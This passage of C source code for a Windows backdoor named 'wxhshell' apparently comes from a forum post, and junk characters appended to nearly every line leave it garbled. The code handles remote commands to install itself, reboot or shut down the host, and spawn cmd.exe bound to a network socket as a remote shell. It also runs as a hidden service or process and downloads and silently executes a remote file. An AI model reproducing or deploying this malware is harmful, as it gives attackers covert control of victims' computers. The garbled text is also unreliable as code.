  else { cQ/T:E7$`  
;MjOs&1f0K  
    switch(cmd[0]) { fwaM;YN_  
  ,tuZ_"?M  
  // 帮助 ;T WYO  
  case '?': { 1JN/oq;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k)JwCt.%  
    break; UbSD?Ew@35  
  } IO?6F@(  
  // 安装 U6 H@l#  
  case 'i': { O9F#gO|!  
    if(Install()) Y+"Gx;F>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JDBNi+t  
    else "`5BAv;u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]j< & :_  
    break; m ,TYF  
    } ooT~R2u  
  // 卸载 BO;LK-V  
  case 'r': { I^S{V^Ty  
    if(Uninstall()) S]biN]+7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|//_4]  
    else Q3x.qz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2LH.If  
    break; #NWc<Dd  
    } ,y/N^^\  
  // 显示 wxhshell 所在路径 H/Ov8|  
  case 'p': { <(caY37o6)  
    char svExeFile[MAX_PATH]; #:/-8Z(0  
    strcpy(svExeFile,"\n\r"); Xr pnc 7  
      strcat(svExeFile,ExeFile); ,U'E!?=:VS  
        send(wsh,svExeFile,strlen(svExeFile),0); x<{)xP+|  
    break; `d:cq.OO  
    } BmFs6{>~c  
  // 重启 n\H.NL)  
  case 'b': { 6-uB[$ko  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F% K}&3  
    if(Boot(REBOOT)) gnU##Km|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +4k7ti1Qb  
    else { q=cH ^`<.  
    closesocket(wsh); ,?s: s&4  
    ExitThread(0); >"+bL6#  
    } <US!XMrCg  
    break; XJi^gT N  
    } @0q*50  
  // 关机 l&v&a!EU  
  case 'd': { ZNG{:5u,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k%lz%r  
    if(Boot(SHUTDOWN)) FcZ)_m6m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KR/SMwy  
    else { A+F@JpV  
    closesocket(wsh); XxE>KeP  
    ExitThread(0); n7K\\|X  
    } +W9#^  
    break; L\X 2Olfz1  
    } 8p~G)J3U  
  // 获取shell D[}qhDlX  
  case 's': { VcR(9~  
    CmdShell(wsh); M]OZS\9.B  
    closesocket(wsh); *1 l"|=_&s  
    ExitThread(0); BA|*V[HBE  
    break; `1"Xj ^ YM  
  } w B[H &  
  // 退出 +46?+kKt  
  case 'x': { 3L(vZ2&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z8hAZ?r1`  
    CloseIt(wsh); :HG5{zP  
    break; rui]_Fn]I  
    } -dsE9)&8DX  
  // 离开 ]AzDkKj  
  case 'q': { uPtS.j=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "+:IA|1wD  
    closesocket(wsh); Se-n#  
    WSACleanup(); "#a,R ^J  
    exit(1); DnW*q/=w  
    break; _m|Tr*i8  
        } l@ W?qw  
  } @.h|T)Zyr  
  } )s4a<S c]  
z gDc=  
  // 提示信息 seo.1.Da2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }~`l!ApD  
} j -j,0!T~b  
  } )YP 9  
"kT?9&  
  return; wsLfp82  
} Ykd< }KE>  
=HkB>w)h  
// shell模块句柄 x4vowF  
int CmdShell(SOCKET sock) ..hD_k  
{ _lj&}>l  
STARTUPINFO si; :Pf2oQ  
ZeroMemory(&si,sizeof(si)); &*wc` U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Da"GYEC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )j>BvO  
PROCESS_INFORMATION ProcessInfo; 11 >K\"K}  
char cmdline[]="cmd"; * >XmJ6w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oaJnLd90W  
  return 0; c$HZvv  
} Td6"o&0A!  
Fz4g:8qdA  
// 自身启动模式 KcQe1mT!+  
int StartFromService(void) K-b'jP\  
{ Pe_FW8e#J  
typedef struct 'u{DFMB-A  
{ d]6#pSE  
  DWORD ExitStatus; U}Aoz|  
  DWORD PebBaseAddress; J_Pb R b  
  DWORD AffinityMask; b)Px  
  DWORD BasePriority; oCftI':@  
  ULONG UniqueProcessId; o|BEY3|  
  ULONG InheritedFromUniqueProcessId; To"J>:l  
}   PROCESS_BASIC_INFORMATION; ir ^XZVR  
wNgS0{}&`  
PROCNTQSIP NtQueryInformationProcess; *N #{~  
k)l^ ;x-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oH|<(8efD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ry%Fs&V*>  
#n8jn#  
  HANDLE             hProcess; Wa|lWIMK  
  PROCESS_BASIC_INFORMATION pbi; l@zr1g)  
-O?}-6,_Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Mp-4)mn  
  if(NULL == hInst ) return 0; %IbG@ }54  
&_N$S2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b\O%gg\p%!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i>`!W|=_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); psZAO,p  
.\X;VWTI  
  if (!NtQueryInformationProcess) return 0; It/IDPx4ga  
r g$2)z1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +/E yX =  
  if(!hProcess) return 0; F};G&  
=,-&h V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]wQ#8}zO  
BL^8gtdn  
  CloseHandle(hProcess); d]*a:>58  
p7pJ90~E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y@Zv52,  
if(hProcess==NULL) return 0; cKKl\g@}  
lp;= f  
HMODULE hMod; D!oELZ3  
char procName[255]; +w]KK6  
unsigned long cbNeeded; 9 ZD4Gv   
Lh(` 9(tX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zh]FL8[ nc  
(haYY]W\  
  CloseHandle(hProcess); U<*8KiI  
0ThX1)SH  
if(strstr(procName,"services")) return 1; // 以服务启动 ?{O >&<~  
2-<i#nA3  
  return 0; // 注册表启动 J~jR`2+r  
} %fyah}=  
/bd1Bi  
// 主模块 LPNJuz  
int StartWxhshell(LPSTR lpCmdLine) _K?{DnTb  
{ 2/c^3[ccR  
  SOCKET wsl; oe8sixZ[  
BOOL val=TRUE; L/VlmN_v>s  
  int port=0; $C;)Tlh  
  struct sockaddr_in door; dSkW[r9Z%l  
E?z~)0z2`  
  if(wscfg.ws_autoins) Install(); |9F^"7Q~C  
!A\Qwg>  
port=atoi(lpCmdLine); \MA 4>  
$bd&$@sA  
if(port<=0) port=wscfg.ws_port; azxGUS_i<  
#Wz7ju;  
  WSADATA data; w)hH8jx{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8"zFTP*;u  
d,_Ky#K5b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /*+P}__k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Y>$w$S  
  door.sin_family = AF_INET; !4(X9}a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4[ 7) $  
  door.sin_port = htons(port); K6=i\   
{v,O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ue5C ]  
closesocket(wsl); E26zw9d  
return 1; Sl8A=Ez  
} O{^ET:K@  
g.3a5#t  
  if(listen(wsl,2) == INVALID_SOCKET) { :q.g#:1s  
closesocket(wsl); |Mj2lZS  
return 1; |(Bc0sgw}  
} YQ&Ww|xe  
  Wxhshell(wsl); }'y=JV>l  
  WSACleanup(); R<J1bH1n3  
e-Xr^@M*Q  
return 0; ^*{:;F@  
KkIxtFM  
} sUc_)  
w&vZ$n-|  
// 以NT服务方式启动 zT\nj&7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 29xm66  
{ |# _F  
DWORD   status = 0; ]Kutuf$t  
  DWORD   specificError = 0xfffffff; gH+s)6  
'S_OOzpC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ps DY}y\"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ig Q,ZY1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y_>l'{w3^  
  serviceStatus.dwWin32ExitCode     = 0; B#>7;xy>  
  serviceStatus.dwServiceSpecificExitCode = 0; EpX.{B@B_[  
  serviceStatus.dwCheckPoint       = 0; qT<OiIMj^  
  serviceStatus.dwWaitHint       = 0; lo1<t<w`  
D#=$? {w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  b6`_;Z  
  if (hServiceStatusHandle==0) return; \gBsAZE  
;qA(!`h+  
status = GetLastError(); <|!?V"`3  
  if (status!=NO_ERROR) Io|3zE*<  
{ #2/2X v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FO"sE`  
    serviceStatus.dwCheckPoint       = 0; )p$a1\ ~m  
    serviceStatus.dwWaitHint       = 0; 9!``~]G2  
    serviceStatus.dwWin32ExitCode     = status; 4Bn <L&@/  
    serviceStatus.dwServiceSpecificExitCode = specificError; =t/ "&[r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XF6ed  
    return; %nRz~3X|+v  
  } jkVX>*.|oy  
-4%{Jb-1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E*sQ|" g  
  serviceStatus.dwCheckPoint       = 0; lYF~CNvE  
  serviceStatus.dwWaitHint       = 0; n$*e(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;R_H8vp  
} Vr<eU>W  
&y} ]^wB  
// 处理NT服务事件,比如:启动、停止 JO3x#1~;_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Kk MWl&:  
{ R0WI s:k2  
switch(fdwControl) I+!?~]AUuq  
{ 6EX_IDb  
case SERVICE_CONTROL_STOP: 3axbW f3[  
  serviceStatus.dwWin32ExitCode = 0; # :)yh]MP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oMUyP~1  
  serviceStatus.dwCheckPoint   = 0; ~+~^c|  
  serviceStatus.dwWaitHint     = 0; fF|m~#y  
  { Iq[ d5)M4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x1O]@Z{d\  
  } ZLS\K/F>>=  
  return; xoYaL  
case SERVICE_CONTROL_PAUSE: <hv {,1p-r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oIJ.Tv@N(  
  break; eyIbjgpV  
case SERVICE_CONTROL_CONTINUE: 7`G FtX}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s?,\aSsU@  
  break; >T)#KQ1t  
case SERVICE_CONTROL_INTERROGATE: (QFu``ae+  
  break; ar%!h~  
}; B.oD9 <9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rnd.<jz+Y  
} Wu1">|  
FRR`<do5$,  
// 标准应用程序主函数  9EU0R H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N+#lS7  
{ 'Cp]Q@]\  
PX$_."WA  
// 获取操作系统版本 +*')0I  
OsIsNt=GetOsVer(); b;~?a#Z}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DZ*m"Bi  
Es^=&2 ''  
  // 从命令行安装 @@QB,VS;{<  
  if(strpbrk(lpCmdLine,"iI")) Install(); z"PU`v  
b&_u+g  
  // 下载执行文件 9u^yEqG`  
if(wscfg.ws_downexe) { iYR`|PJi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w dpd`  
  WinExec(wscfg.ws_filenam,SW_HIDE); *`WD/fG  
} *_,: &Ur  
k "Qr  
if(!OsIsNt) { :vWixgLg  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y2&hf6BE  
HideProc(); i[r>^U8O  
StartWxhshell(lpCmdLine); }u&,;]  
} -S6^D/(;  
else T{B\1|2w  
  if(StartFromService()) TMAart; <  
  // 以服务方式启动 <)4>"SN&^  
  StartServiceCtrlDispatcher(DispatchTable); #P/}'rdt  
else #_9Jam%M  
  // 普通方式启动 %&\DCAFk  
  StartWxhshell(lpCmdLine); X6 SqOb\(a  
Z-;I,\Y%  
return 0; (! "+\KY  
}
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只看该作者 1 发表于: 2006-10-10
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